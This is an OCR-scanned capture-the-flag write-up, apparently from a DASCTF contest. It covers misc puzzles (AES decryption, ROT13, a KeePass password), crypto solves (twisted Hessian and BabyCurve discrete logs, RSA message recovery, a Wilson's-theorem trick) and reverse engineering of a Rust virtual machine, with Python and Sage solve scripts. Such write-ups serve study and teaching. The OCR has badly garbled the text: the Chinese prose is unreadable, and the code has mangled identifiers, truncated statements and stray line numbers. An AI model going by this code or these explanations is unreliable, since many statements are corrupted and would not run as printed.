HyhOpOensvbgDhIkr4ptTItj579+ZFUsshKo7nJk8zklz2sr/OBspnOMymx0IcnUqdNZeAbL2xaJnBv



11
12

13
14
15
16

bic6iX66gKdOHeqI2 /XWtTfp4fWzrz4vGXG7oRQjwOLi1sS0zzi120Q7IY4h7i66tNnIcWAW+BN8EOMxZa
1tPsEDjSndibCeiQcFRQATORMXNTRYgx loLIPx18Mo2 fPvwrmxRw/KPShAcnhCfE5vIY18ay6FmcxzD
Y5en5AVOTINeINYtIkfCOi0AkxFD+nYBSVoaF5cEdvWzAIX792JUOCbexCBF2cvkijXVXu6GmUw4bDMf
151X8Djj6v5X/IYRFRXFX3hGev+iTybD2SMgw5pbSpgAXCOcT /81y 7dyWolfv3kgxCybFsQh06x/jvW
afEHRaOBkRx04VbY /Jpcy7CyxR7TSR1YUQyNi70ETZY7v/yRU/h7+IIJZoKB9RQ/7aEcpUTja3yR7cq
Agp62zVyIMIVi/kghAXjMxobexfBTaAD2W/upQr8EYV1Qw32iDOwQjdzN4YYAmxTBefWLHEWV8dzPC1
uV9eQGArTFaQk5Y+f6+19sHcQ4CItuaV+Ezt3ZKXauh9TckaKx50z6n6NYHISqeAMNGUMMKPrM960xM
3p43cKZsPx5+STr8glVOYrj2z6pmG/LSwIW4algF/+qlDLZy lquUovMfRX81dH/ptcnkSS5Ws7146/k
/YvbsMVbKoiVhDYSvnpdtJIp53kj/Ejval+4phWLh7ZvniqTxuMOYhdFQrUMnbyQpWD8NwFxwxzsVKYg
YFQW+609rbB15dPT6ewZAP02y0z9Czc6r5FMI2E12VIK3TdeMZXxdS2hM9eK/hfv3z7uJLLTLDBPL /n
ziXvJzwnD/K256yfEBZhmhjx6NgEyh6qoEfgongiCORNVUp LLHQPpjpVKP54s8qG4eKTRYWAGLiKILp
xt5mZYzGIgeOgi9lgqwpscqNdHoA143wyF6IbIijNvWcCi5ws3/8GIWIjOWDiWI4MTFmBOus9pZjd28t
3Nhs7ncA6wm6I48sPZQHdgAEoHR+peZkcURWI3M1koo5UVQpYK1WhOzHdokXtywVvk301ldpVugcRZsh
8pjbp3ecNmMNT5xV7nt1W40/Z09YTyvtIHAIgxbPUfDayhlhwRa7Nfj8YOXLvdCcGjRHauYb25k+2JPX
tySgg5CIh12fYDTwTM2Ttw8 fsyDBMtgBGwwON8YS8Bnev1V2Uqrli3tno3B+k9RyQrE8eiwqglLyJO9D8
SGuy7RE6OMIrZWW/mA@8tv+8V3ccNhnYRhjVXxLmVRF+1FR55/AQ0CeJwPvbhkQydYRfRi1RUU2WriQWX
G87jLiT6KhSeVt2gX0TZnaAIyu7rN6f10402yVYY4053/t4wlq8dMbhMHtUiuIJCkz8q+N50942sukYL
0oQVI5LJuunZHn3hynlwsE5+7JvHL+QoPTxRBUxIepZy/XdMSBd3IsoPBdieUqavq6dGM4HCOFU6MFq9
gqYOVIEtwix6Y2uf/NGSDAGNIZ2N+dBPUcxzrynAOVenLXJISBxr2dY/GUCrcFcCIgLS+paXOmb/tDcIw
Mh1PMBwPZ30ak2YiJINr7/exwxHPNRQQaifzNCdO4oL0Oi+YaXKMgMEcalLtSWOVXHeGy5CjJ+JdLjvel
90ruQUYAcPbxTNYCEDHoe0GVQlYmls96MIzzm0OzKAdCD1MkC10113W501gGUOdNFDXg7 fDZ5NFf2xAL6
akDsIZgD1RzPbwOX2gjcLgxegC5fvxVenZtYDQhuXysOpYSwDw9213IQZ0pVS2QyY/FhAEIihqTkwbQ
sSUBUiwDNWIC1pHYzravpv113X2E5ZDMAWUIOpgFY20oP2eRHhfe8wPYP3UvpsxP2UFbVGhe7L6DIj10
tLP619vCgkcHHT+/08ZUEKPDN/t2bR6ErTB1izX1iIdd/1ckYVQhOQPtRGQrPPgxtgHMf20qVUhIz60g4
WpCv1DGaMlocm/ES1F+A6LKhiaEVOktsAd1OR] t/EXOX6TSAEIGt6y+p4ga/fzcY2efjZw5ai20qWG]
fLbRJIY8Ns6drxCU4VwWVLXuIplVhtTSvYEKWSPq1zTuIX8EOE2fOVtyeQqlxZctUeKx3vcAO84UE6GYsT
sCjV2eTGEgwKKrmuzYDX6E47ns801DFbUSQEXV8LTQ3jDvpSMGLAQEQOFr5iyMIO6KLIf7zeMt3CQ5vt
kx1bKnmaDPXf1ZH1DCO/4+055WSMOY3GleF41lhx1jG/FELd60521dAMEOQ78I6I48tdNfjRX1qWsZ+q
v+G6aK/gxpOrG2CkPY2nfDCIKcsUDvolXrqqYvDt/JkRs7Y7xBN8K9PMDxd1BmM6+jAngrc+MrZUBgq
1m60Sx1k+dQb8ITsSzh/rEMBWIRVi3FL+8mZNsZHsmN8y7yIkU90ONH30Ew1lrPPfCls/VaSw4X41DX0
uaOM2yEXzRQXVivZ/a0aioypAn6UDoQDEMUPJI5AGX /N8xHhVGVOA3ZZNcX79SwNQyzJ /o6EQxRwZkId
uUAGO"

dec = decrypt_aes_cbc_128(key = b'"1234567890abcdef", ciphertext =
b64decode (cipher))

print(dec)
with open("output.txt", "wb") as f:
f.write(dec)

3.5 F—1FRIEIERE_2

@ ERENMEEBNERELRE, EHEERAE thisis the 6 number, BRZEH
FENREENEIR, MHANET

EhBIFBE 753951



THEBEER (
TR H RIS NRF@WQUKTQ12345&WWWF@WWWEX#WWQXNWXNU
IRIGERE ROT13, KiRERXER T

Recipe ~ BB B Input
NRF@WQUKT Q123458 WHWF@WWWFX#WWQXNWXNU
ROT13 ~
Rotate lower case chars Rotate upper case chars
Amount
[ Rotate numbers 13
me 36 = 1
Output

AES@JDHXGD12345&JJJIS@J JISK#JIDKAIKAH

FfrLA Master Password @ AES@JDHXGD12345&JJJS@JJIJSK#JIDKAJKAH, ZEi# Keepass, MAE
IEREED
U2FsdGVkX19b8+5VNKEZZNDJ3+c9CF1jgT3SklgHNT3xAwaQ715ViiDYdwJsmYbuFhWqLhf9K44j1/
gnlyMuFw==

—fR OpenSSL, B MNHEF M passisDASCTF, F/2F DASCTF AES f#Z13 %! flag,

3.6 So much

AT IMAE S Zhttps://blog.csdn.net/qq_42880719/article/details/1202716117# encrypted
adl, RBERIEFEEM

—RBFINMHE baseb4, BEZFERIRE shift! , ZiRA kI TAXMHE, ZFEWAN shift! &M
iR, I/ EHE eSS

6B 65 79 28 69 73 3A 28 31 32 33 b key is: 1234567

BC 9F 72 65 61 6C 6C 79 3F + really?+

1234567 LAY, ZEJ8 shift + 1234567

RBRT= !, !


https://blog.csdn.net/qq_42880719/article/details/120271611
https://blog.csdn.net/qq_42880719/article/details/120271611

|J 105.crypto
|:] 106.crypto
|j 107 .crypto
|:] 108.crypto
|:] 109.crypto
|j 11.crypto

|J 110.crypto
|J 111.crypto
|J 112.crypto
|:] 113.crypto
|j 1M4d.crypto
|:] 115.crypto
|:] 116.crypto
|j 117.crypto
|J 118.crypto
|J 11%.crypto
|J 12.crypto

|:] 120.crypto
|j 121.crypto
|:] 122.crypto
|:] 123.crypto
|j 124.crypto

HELEEERNR

o @ o o 0 @ @ o @ @ @ o O @ o @ @ @ @ o @O m

Regular File
Regular File
Regular File
Regular File
Regular File
Regular File
Regular File
Regular File
Regular File
Regular File
Regular File
Regular File
Regular File
Regular File
Regular File
Regular File
Regular File
Regular File
Regular File
Regular File
Regular File
Regular File

LUE RS [alfE o Z#HIRaY 0 #1 1, %% ASCII BNA]43 flag.

4 - Crypto

4.1 TH_Curve

FLER BabyCurve —#FBYFEHIEIK, ME—RIFIZ AR ELRIFE TH_Curve SN pAT

weierstrass Fox, (RAEARH order) ,

2021/8/5 8:19:45
2021/8/5 8:20:35
2021/8/5 8:20:35
2021/8/5 8:19:45
2021/8/5 8:19:45
2021/8/5 8:19:45
2021/8/5 8:1%:45
2021/8/5 8:19:45
2021/8/5 8:19:45
2021/8/5 8:19:45
2021/8/5 8:20:35
2021/8/5 8:20:35
2021/8/5 8:19:45
2021/8/5 8:19:45
2021/8/5 8:20:35
2021/8/5 8:19:45
2021/8/5 8:20:35
2021/8/5 8:19:45
2021/8/5 8:19:45
2021/8/5 8:20:35
2021/8/5 8:20:35
2021/8/5 8:19:45

ARE EchEtie) RERM, +2RE, MEXHHRIEFN 344 (/8=43) , &

http://hyperelliptic.org/EFD/glp/data/twistedhessian/coordinates, ZAEFHT

from Crypto.Util.number -import *

from gmpy2 -import *
from sage.all +import *
from tqdm dimport tqdm, trange

def add_THcurve(P, Q):
if P == (0, 0):
return Q[:]

O© 0o N o b~ W N R


http://hyperelliptic.org/EFD/g1p/data/twistedhessian/coordinates

10
11
12
13
14
15

16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

33

34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49

def

p
a

G

d = (a * G[O] ** 3 + G[1] **x 3 + 1) * pow(G[O] * G[1], -1, p) % p
print(f"{d = ")

Zmodp = Zmod(p)

R

X, Yy = R.gens()

# 18 a0, al, a2, a3, a4, a6
Zmodp(a), Zmodp(d)

a,
ao
al
a2
a3
a4
a6

1

=3 % (d /3) / (a - (d/ 3)**3)

=9 x (d / 3)**2 / ((a - (d / 3)**3) * (a - (d / 3)**3))

=9 / ((a - (d / 3)**3) * (a - (d / 3)**3))

=27 x (d / 3) / ((@ - (d / 3)*x3) * (a - (d / 3)**3) * (a - (d / 3)**x3))

if Q == (0, 0):

return P[:]
x1l, yl =
X2, y2 =
x3 = (x1
y3
p)

/7
%

return x3, y3

mul_THcurve(n, P):

R = (0, 0)
while n > 0O:

return R
10297529403524403127640670200603184608844065065952536889
(8879931045098533901543131944615620692971716807984752065,
4106024239449946134453673742202491320614591684229547464)

Q = (6784278627340957151283066249316785477882888190582875173,
6078603759966354224428976716568980670702790051879661797)

PolynomialRing(Zmodp,

=yl *xx 2 % x2 x y2) *x pow(a * X1 * yl * X2 **x 2 - y2, -
* y2 k% 2 — a % X1 *xx 2 x x2) * pow(a * x1 x yl * X2 *x 2 - y2,

add_THcurve(R, P)
add_THcurve(P, P)

=27 / ((a - (d / 3)%*3) * (a - (d / 3)%x3) * (a - (d / 3)%*3) * (a - (d /
3)%%3))

# BIFE Weierstrass BHZERIFFE
curve_eq = y**x2 + alxxxy + a3xy - (X**3 + a2%x*x*x2 + ad*xx + a6)



53
54
55

56
57
58

59
60
61
62
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curve = EllipticCurve(curve_eq)

toweierstrass_u = (-3 / (a - dx*x3 / 27)) * G[0] / (d x G[O®] / 3 - (-G[1]) + 1)
toweierstrass_v = (-9 / ((a - d*%x3 / 27) x (a - dxx3 / 27))) *x (-G[1]) / (d *
G[O0] / 3 - (-G[1]) + 1)

pG = curve(toweijerstrass_u, toweierstrass_v)

toweierstrass_u = (-3 / (a - dx*x3 / 27)) *x Q[0] / (d x Q[0] / 3 - (-Q[1]) + 1)
toweierstrass_v = (-9 / ((a - d*%x3 / 27) x (a — d*x*x3 / 27))) * (-Q[1]) / (d =
Qrel / 3 - (-Q[11) + 1)

pQ = curve(toweijerstrass_u, toweierstrass_v)

print(f'{pG.order() = }")

def brealid_bsgs(a, b, p, zero):
m = math.isqrt(p) + 1

# print(f'{a = }')
# print(f'{b = }')
# print(f'{p = }')
# print(f'{fa » 49 = }')

# BIE baby steps

baby_steps = {}

cur = zero

for j in trange(m):
if cur[0] in baby_steps:

print('Error")

baby_steps[cur[0]] = j
# print(j, cur)

cur = cur + a

# Giant steps
a_m = a *x (-m)
cur = b
for i in trange(m):
X = cur[0]
if x in baby_steps:
return i * m + baby_steps[x]
# print(i, cur)

cur = cur + a_m

return None # HIERHEHFZE

equations = []
for base, n in factor(pG.order()):
mod = base ** n
mult = pG.order() // mod
res = brealid_bsgs(pG * mult, pQ * mult, mod, pG * 0)
equations.append([res, mod])



98 print(f"key = {res} (mod {mod})")

99 remainders, moduli = map(list, zip(*xequations))
100 secret = crt(remainders, moduli)

101 assert mul_THcurve(secret, G) == Q

102 print(f"{secret = }")

103 print(f"{long_to_bytes(secret) = }")

104

105 # secret = 525729205728344257526560548008783649
106 # long_to_bytes(secret) = b'e@sy_cuRvL_cOo!'

4.2 BabyCurve

BB b, c R/l a, d — M ESR, RHEH

INFEBE discrete_log &[G crt §HFE! key

AL T 1el6 KFHY discrete_log ERBSERKEM, BN FRAXMERKNKEZFASMT

1 #!/usr/bin/env python

2 # —*— coding: UTF-8 —*-

3 import os

4 Amport hashlib

5 Hdmport math

6 from tgdm import trange, tqdm

7 from sage.all import *

8 from Crypto.Cipher import AES

9 from Crypto.Util.Padding import pad

10 # from secret import c, b, key, FLAG

11

12 def add_curve(P, Q, K):

13 a, d, p =K

14 if P == (0, 0):

15 return Q

16 if Q == (0, 0):

17 return P

18 x1l, yl =P

19 X2, y2 =Q

20 X3 = (x1 * y2 + yl * x2) * pow(l — d * x1 ** 2 % x2 %% 2, -1, p) % p

21 y3 = ((yl *x y2 + 2 % a *x x1 *x x2) * (1 +d *x x1 **x 2 *x x2 *x 2) + 2 *x d *
X1 * X2 * (X1 ** 2 + X2 %% 2)) * pow(

22 (1 - d* x1 %% 2 x x2 %% 2) *% 2, -1, p) % p

23 return x3, y3

24

25 def mul_curve(n, P, K):

26 R = (0, 0)

27 while n > 0:
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ifn% 2 == 1:

P

n

return R

R = add_curve(R, P, K)
add_curve(P, P, K)
n// 2

def AES_decrypt(encrypted, k):

key = hashlib.sha256(str(k).encode()).digest()[:16]
AES.new(key, AES.MODE_CBC, bytes.fromhex(encrypted['iv']))
plaintext = plaintext.decrypt(bytes.fromhex(encrypted['cipher']))

plaintext

return plaintext

a = 46
d = 20
pl
K1
Gl
P1

01

826100030683243954408990060837
(a, d, pl)
(560766116033078013304693968735, 756416322956623525864568772142)
(528578510004630596855654721810, 639541632629313772609548040620)
(819520958411405887240280598475, 76906957256966244725924513645)

for ¢ in range(3000):

if P1

mul_curve(c, Gl, K1):

print(f'{c = }")
break
for b in range(3000):

if QL

mul_curve(b, G1, K1):

print(f'{b = }")
break

p
G

P

E
G
P

770311352827455849356512448287

(584273268656071313022845392380, 105970580903682721429154563816)
(401055814681171318348566474726, 293186309252428491012795616690)
assert (G[1] *x 2 - G[O] ** 3 + ¢ * G[O] - b) % p ==

assert (P[1] *x 2 - P[0] *x 3 + ¢ x P[0] - b) % p ==

EllipticCurve(GF(p), [-c, b])

E.gens () [0]
E([401055814681171318348566474726, 293186309252428491012795616690] )

order = E.order ()
print(f'{order = }")

def brealid_bsgs(a, b, p, zero):

m = math.isqrt(p) + 1

# print(f'{a
# print(f'{b
# print(f'{p =

I
S S
\./\:\/
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# print(f'{a x 4 = }')

# EIZE baby steps
baby_steps = {}
cur = zero
for j in trange(m):
if cur[0] in baby_steps:
print('Error'")
baby_steps[cur[0]] = j
# print(j, cur)
cur = cur + a

# Giant steps
a_m = a *x (-m)
cur = b
for i in trange(m):
X = curl0]
if x in baby_steps:
return i * m + baby_steps[x]
# print(i, cur)

cur = cur + a_m

return None # ¥ REHFZEE

equations = []

for a, n in factor(order):
mod = a ** n
mult = order // mod
# res = bsgs(P * mult, G * mult, mod, operation="'+")
res = brealid_bsgs(G * mult, P x mult, mod, G * 0)
print(f'key = {res} (mod {mod})")
equations.append((res, mod))

# equations = [

# (4, 32),

# (2, 7),

# (345567, 1135963),

# (1195492, 1249861),

# (529755281800347, 2422101716392009),
# ]

remainders, moduli = map(list, zip(xequations))
key = crt(remainders, moduli)

assert G * key ==

print("key =", key)

encrypted = {'iv': 'baelb42f174443d009c8d3al576f07d6', 'cipher':
'ff34da7a65854ed75342fd4ad178bf577bd622df9850a24fd63elda557b4b8a4 '}
data = AES_decrypt(encrypted, key)



121 print("data =", data)

4.3 RSA_loss
AER, BRENGEHRD, —EHBTAEILIIREMT
fal 7 L EARS 2R, FINEHER

1 from Crypto.Util.number -import *
2 from gmpy2 import *

3 from tgdm import trange, tqdm

4 from multiprocessing import Pool

5

6 Cc = 356435791209686635044593929546092486613929446770721636839137
7 p = 898278915648707936019913202333

8 g = 814090608763917394723955024893

9 n=p *(q

10 newmb =

b'X\xee\x1ey\x88\x01dX\xf61i\x91\x80h\xf4\x1f!\xa7"\x0c\x9a\x06\xc8\x06\x81\x15"
11 newm = bytes_to_long(newmb)

12

13 def single_task(ncnt):

14 m = long_to_bytes(newm + ncnt * n)
15 try:

16 print(m.decode('ascii'))

17 except:

18 pass

19

20

21 # Must startswith DASCTF{
22 for flag_len 1in range(len(newmb), 60):

23 flag_min = b'DASCTF{' + b'\x00' x (flag_len - 7)

24 flag_max = b'DASCTF{' + b'\xff' x (flag_len - 7)

25 ncnt_min = (bytes_to_long(flag_min) - newm) // n

26 ncnt_max = (bytes_to_long(flag_max) - newm) // n

27

28 with trange(ncnt_min + 1, ncnt_max + 1, desc=f'{flag_len=}') as bar,
Pool(processes=48) as pool:

29 results = pool.map(single_task, range(ncnt_min + 1, ncnt_max + 1))

30 for _ in results: # S —TMESIEMHBES

31 bar.update(1)

32

33 # DASCTF{o0Op5_m3ssaGe_to0O_blg_nv93nd0O}



4.4 TheoremPlus

B/REVEIR: EE p BY (p-1)! mod p=-1
FERBEARZEAM, BRT 4, &8 ni (n-1)) modn=0
H Lt X decode_e FH1FK 2 - len(primerange(2, e + 1))

20

21

from Crypto.Util.number import *
from gmpy2 import *

from tqdm import trange, tqdm
from sympy import sieve

# from secret import flag

def decode_e(e):
# actually: return —count(primes in 1..e)

cnt = 0
with tqdm(total = e) as bar:
bar.write("Wait until seive base are generated...")

for p in sieve.primerange(e + 1):
cnt += 1
bar.n = p
bar.update(0)
return 2 - cnt

# Special for 4, which returns 2

n =
1877057577634663685711798971670015955655330860382731801359158725519838312937090
7809760732011993542700529211200756354110539398800399971400004000898098091275284
2352258986988025555664168629757585354526246470170572866750784258147846826750126
7138434026708760480305099510753448106927928121327737123427271019528064774703330
2773076094600917583038429969629948198841325080329081838681126456119415461246986
7451626875696808252964347569081111481657877681720001317046153140460059162233704
2956714299219270288882083703285010470194865873601052726124619951259552099504220
5818856177310544178940343722756848658912946025299687434514029951

c =
2587907790257921446754254335909686808394701314827194535473852919883847207482301
5601957006225427843164219677681481561463550992104000532819667825985516802605135
4723327064641444077610994124886918561235779786986029388011460964932540963723963
1730174236109860697072051436591823617268725493768867776466173052640366393488873
5052071987704973733451161653347793810317128321366821783640905478754796450942742
3746034231858783227430477719346883327881645934413223101870357827419200001656065
3148923056635076144189403004763127515475672112627790796376564776321840115465990
308933303392198690356639928538984862967102082126458529748355566

g = int(isqrt(n))

22 while not isPrime(q):



23 q-—=1
24 p
25 n =p * ¢

26 phi = (p - 1) * (q - 1)

27 e = abs(decode_e(703440151))

28

29 print(f'{e = }")

30 d = dinverse(e, (p - 1) *x (q - 1))
31 flag = pow(c, d, n)

32 print(long_to_bytes(flag))

33

34

next_prime(q)

5 - Reverse

5.1 sedRust_happyVm
F—MEBREREES=ULERAN, £} base64 ERFME
SZMEBRSRAAITERNE, BEPREIA vm

Src TERAFTIE, ZEE (40aba0) FIFEEPAALEIE0
B AR :

1 00000000 VM struc ; (sizeof=0x420,
2 00000000

3 00000000 box db 1024 dup(?)

4 00000000

5 00000400 wregs dw 8 dup(?)

6 00000400

7 00000410 cregs db 8 dup(?)

8 00000418 fregs db 8 dup(?)

9 00000420 VM ends

B, B5@IEXITFH VM Struct (£

mappedto_65)
3 XREF: sub_40B2EO/r
5 XREF: sub_40B2E0+CO/r
5 sub_40B2EO+C8/r ...
; XREF: sub_40B2EO+B8A/w
; Sub_40B2E0+B93/w

5 XREF: sub_40B2E0+1B76/r

IEIRERLEE R, THREIREKRESR, sub_40A800 HE—1 switch #Y case 7 B MM E S AIHE

—4Rb, sub_40A800 B— N3 EHRIREL

void __fastcall sub_40A800(VM xthis, unsigned
{

char op_2_5;
_int8 op_0_2;

A W N B

unsigned

__1int8 op)
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bool v5; // cl

char v6; // al

unsigned __1int8 v7; // r8
size_t v8; // rcx

size_t v9; // rcx

__1int64 _op_0_2; // rax

/) RPNEEIE 8 (LH op FHE=ER: F—RANE=ML, F_RANP=(U, EF=ENIEHL, HIRHE

op_2.5 = (op >> 2) & 7;
op_0_2 = op & 3;
if ( (op & Ox80u) != 0 )

{
switch ( op_2_5 )
{

case 0:
this—>fregs[0] += this->fregs[1];
return;

case 1:
this->fregs[0] 7= this->fregs[1];
return;

case 2:
sub_40A800(this, op_0_2 + OxAC);
sub_40A800(this, op_0_2 + 0xB8);
sub_40A800(this, op_0_2 + 0x8C);
sub_40A800(this, op_0_2 + 0x90);
sub_40A800(this, op_0_2 + 0OxB8);
op = OxBO;
goto LABEL_15;

case 3:
v9 = this->wregs[(unsigned _
if ( v9 >= 0x100 )

index_out_of_bounds(v9, 0x100ui64, &off_442ECO);

_0p_0_2 = op_0_2;
goto LABEL_20;

case 4:

LABEL_15:
v8 = this->wregs[(unsigned _
if ( v8 >= 0x100 )
index_out_of_bounds(v8, 0x100ui64, &off_442EDS8);

this—>box[(unsigned __int64)op_0_2][v8]
return;

case 5:
_0op_0_2 = op_0_2;
v9 = this->fregs[0];

LABEL_20:

/) B=M >= 2

_int8) (((op & 0x20) = 0) | (2 *x op_0_2))1;

_int8) (((op & 0x20) 0) | (2 * op_0_2))1;

this—>fregs[0];
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this->fregs[1] this->box[_op_0_2][Vv9];

*(_WORD x)this->fregs this->fregs[1];

sub_40A800 (this, op_0_2 | 0xA4);
if ( this->fregs[0] )
++this->fregs[4];

}
else
{
v5 = (op & 0x20) != 0;
if ( (op & Ox40) != 0 ) /) B=1AN 1
{
switch ( op_2_5 )
{
case 0:

this—->wregs[(unsigned __int8)(v5 | (2 * op_0_2))] this->fregs[0];

break;
case 1:

this->fregs[0] = this->wregs[(unsigned __int8)(v5 | (2 * op_0_2))];
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this->wregs[(unsigned __int8)(v5 | (2 * op_0_2))]

this—->fregs[1] this—>wregs[ (unsigned __int8) (v5

/) B=1HN 0

this->fregs[1];

| (2 * op_6_2))];

{

ve = 4 % (op_2_5 == 1);

if ( (op & Ox20) != 0 )

{
this->fregs[2] |= op_0_2 << v6;

}

else

{
v7 = this->fregs[2];
this—>fregs[1] += (v7 & (unsigned __int8) (OxF << v6)) << (6 - v6);
this->fregs[2] = v7 & (OxFOu >> v6);



98 1
99 1
100 }
101 }

B X—ED I UEREEL VM B—F TR ASEHITREIER, AMXMEEAAEEER,
WREFENREK, ZERIAFEZMENLERSMLHT, ME—(IZ 64764, ERTEILUIES, BHiZ
Z & python EIMMNEIIZAFIRMERR

#!/usr/bin/env python3

from copy import deepcopy

= [0] * 8
saved_wregs = [0] * 8
saved_fregs = [0] * 8

1

2

3

4

5 saved_cregs

6

7

8 saved_box = [

9
list(bytes.fromhex('2e5a7ele4c493037aa0538ea00f6c5eb48ec990f3c6b8bb02571baac834
a702bd506121b21845669442224d68776983ef731365f4f6865288aafa0de26b51d9f55b38ea75e
2cd7c24d1f5bd2dbabl7fe7c0abl0189albe7ata888cb2b657bda8cle7d195b7a48d3bcd53f146¢
873544316349ach3a6a9cd0ef6007cc2abc80320bdcda7fdd276de4el18fe0d99475e37bl14a2ceca
b447c0039d02e24bff5204596fd80c1a918510f9b950417df8c9a96745e5b8df2386f00ec778a54
€97815ca640519039fc72290dd39377ae3fad614218c39e2f2dc4626679749b5d33cf6ef415fdee
589220e8098213c66ca396bb630835e6e9191cf51b3dedbff2f36411d4')),

10
list(bytes.fromhex('7ccf2ec82409c9b4dfd37680aece64c3e83045694bdc71db1c39fb27e396
03c6al18ec3d710c41a7bfe890d2375¢c821e310850d6f96d02cad42af2a788c49a67093ebl5a4bafd
2c65d711266e0d81d474b9797d5f0734c0dal20aab5d2b21c43aede766b814448a67358b1f579ec
531f849903cec66368db88eea37a51334097de4b4faafc616f32cdb791851a4ee06c9c5a8d0bb620
170f4dal87efd913a92f55cchb9a5ee454f fe57bd8b55b23488198f77305625943ea7fcb47ac75¢
1009df0b3530616f5dd9246d5fbf8a2271b4af16b86f6d12595ele9be2d38f396c228fa581c3h8e
9b30f4a8f2690e721945e35277fea02910bcaddc36d08922a5e201b064') ),

11
list(bytes.fromhex('9a2696de92c251254940233781c312489b038915053595462190e8577aa
ae5755ae258e9fbcl128cead2c702e5e9e19413c5¢cac590b66936a8329137353ba6facal8a45f444d
c554d3fee30199568ca534d924f46d07c4644e0088b0eat9329c506b84b4alecl6abdd8aa32f476
02d43ff0c1c8565chd17b7fc73fc8d8cd4c0d3671d0080467alled7779739b2fcf74f0ef34b42d2
76b578bfldc9ab453a7e8f09796cat3e7238a2b315985d8beb55e7ef2b6202f6b7dalf30e6c6fad
b5bb891ccf0878d9ddf7c20b1101886ee8ebb6982d41b0a52f26e9fbee4ed3d14e063f1b96822el
311adca7803bc01727cfa9bd7461117d06fd2a0f4a3394bcf8b6cads5d6') ),

12
list(bytes.fromhex('c81elf27707a832e998b2cd82ddecfbc372854b4e73c90c69eccbb0e3f6
5a72314b1f7785c0095321581ae6e9ff60502eb8d9b5fac0760d21bd9faa®b8a9307901f503ba3b6
01934al1d6661lee56f2af82dd58916835334c4bd740d0c37de30b6794dfe5760d46c00aa5b5eca29
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ac4b0b2d113591a5e6f88dal6c5d42226714fffc936499262c1b32fc7bedc447319ed3e55ad8547
db21cee46a3aa61238fc6b45774e1c347557ca696c1018430851259dfbd653848efdd5bd8a80f4e
f2a7e6d29d39786e2eaa88ff3a4e9f87b03bff54d7409dc043198elfe5224115ae85dabc27¢c4117
al19c8c207f5b3963e696bab9f164f006422b1T9873dcb48cde®8972b7aa'))

]

def load():
global cregs, wregs, fregs, box
cregs = deepcopy(saved_cregs)
wregs = deepcopy (saved_wregs)
fregs = deepcopy (saved_fregs)
box = deepcopy (saved_box)

def save():

global saved_cregs, saved_wregs, saved_fregs, saved_box

saved_cregs = cregs
saved_wregs = wregs

saved_fregs = fregs

saved_box = box

def a(op):
op_0_2

op & 3

(op >> 2) & 7
(op > 5) & 1
(op >> 6) & 3

op_2_5

op_5_6

op_6_8

assert op_6_8 <= 2
if op_6_8 ==
assert op_2_5 <=1
offset = 4 x op_2_5
if op_5_6:
# print(f'fregs[2] [= {hex(op_0_2 << offset)}')
fregs[2] |= op_0_2 << offset
else:
# print(f'fregs[1] += (fregs[2] & {hex(Oxf <<
offset)}) << {(6 - offset)}')

fregs[1] += (fregs[2] & (0Oxf << offset)) << (6 -
offset)
# print(f'fregs[2] &= {hex(0xfO >> offset)}')
fregs[2] &= 0OxfO >> offset
elif op_6_8 == 1:

assert op_2_5 <= 3

# src = f'fregs[{op_2 5 >> 1}]'

# dst = f'wregs[{op_0_2 * 2 + op_5_6}]'

if op_2_5 & 1:
# src, dst = dst, src
fregs[op_2_5 >> 1] = wregs[op_0_2 x 2 + op_5_6]



54 else:

55 # pass

56 wregs[op_0_2 x 2 + op_5_6] = fregs[op_2_5 >> 1]

57 # print(f'{dst} = {src}')

58 elif op_6_8 ==

59 if op_2_5 ==

60 # print(f'fregs[0] += fregs[1]')

61 fregs[0] += fregs[1]

62 fregs[0] &= Oxff

63 elif op_2_5 ==

64 # print(f'fregs[0] "= fregs[1]')

65 fregs[0] "= fregs[1]

66 elif op_2_5 == 2:

67 a(Oxac | op_0_2)

68 a(Oxb8 | op_0_2)

69 a(Ox8c | op_06_2)

70 a(Ox90 | op_06_2)

71 a(O6xb8 | op_06_2)

72 a(Oxbod | op_06_2)

73 elif op_2_5 == 3:

74 # print(f'fregs[1] = box[{op_0_2}][wregs[{op_0_2 * 2 +
op_5_6}1]")

75 fregs[1] = box[op_0_2][wregs[op_0_2 *x 2 + op_5_6]]

76 elif op_2_5 == 4:

77 # print(f'box[{op_0_2}][wregs[{op_0_2 * 2 + op_5_6}]]
= fregs[0O]"')

78 box[op_0_2][wregs[op_0_2 * 2 + op_5_6]] = fregs[0]

79 elif op_2_5 == 5:

80 # print(f'fregs[1] = box[{op_0_2}][fregs[O]]")

81 fregs[1] = box[op_0_2][fregs[0]]

82 elif op_2_5 ==

83 # print(f'fregs[0] = fregs[1]');

84 fregs[0] = fregs[1]

85 # print(f'fregs[1] = 0');

86 fregs[1] = 0

87 elif op_2_5 == 7:

88 a(Oxa4 | op_0_2)

89 # print(f'fregs[4] += fregs[O] != 0')

90 fregs[4] += fregs[0] != 0

91 else:

92 assert False

93

94 def b(op):

95 op_1.3 = (op > 1) & 3

96 op_3.5 = (op > 3) & 3

97 op_5_6 = (op >> 5) & 1

98 op_6_8 (op >> 6) & 3



99 if op_6_8 ==

100 # print(f'cregs[{2 * op_1_3}] = cregs[{2 * op_1_3 + 1}]')
101 cregs[2 * op_1_3] = cregs[2 * op_1_3 + 1]

102 # print(f'cregs[{2 * op_1_3 + 1}] = 0')

103 cregs[2 * op_1.3 + 1] =0

104 # print(f'cregs[{2 * op_3_5}] = cregs[{2 * op_3_ 5 + 1}]')
105 cregs[2 * op_3_5] = cregs[2 * op_3_5 + 1]

106 # print(f'cregs[{2 * op_3_5 + 1}] = 0')

107 cregs[2 * op_3_.5 + 1] =0

108 elif op_6_8 ==

109 # print(f'cregs[{op_3_.5 | (4 * op_5_6)}] = cregs[{op_1_3}]")
110 cregs[op_3.5 | (4 x op_5_6)] = cregs[op_1_3]

111 elif op_6_8 ==

112 if op_5_6:

113 # print(f'fregs[{op_3_5}] = cregs[{2 * op_1_3}]")
114 fregs[op_3_5] = cregs[2 x op_1_3]

115 else:

116 # print(f'cregs[{2 * op_1_3 + 1}] = fregs[{op_3_5}]")
117 cregs[2 * op_1_3 + 1] = fregs[op_3_5]

118 elif op_6_8 ==

119 # print(f'fregs[3] = {hex(op & 0x3f)}')

120 fregs[3] = op & Ox3f

121 else:

122 assert False

123

124 def c(opl, op2):

125 opl &= 3

126 assert op2 <= 0Oxf

127 a(Ox4c | opl)

128 b(6xad | (op2 << 1))

129 a(0x80)

130 a(ox40 | opl)

131 a(0x8c | opl)

132 a(ox64 | opl)

133 a(0x80)

134 a(ox60 | opl)

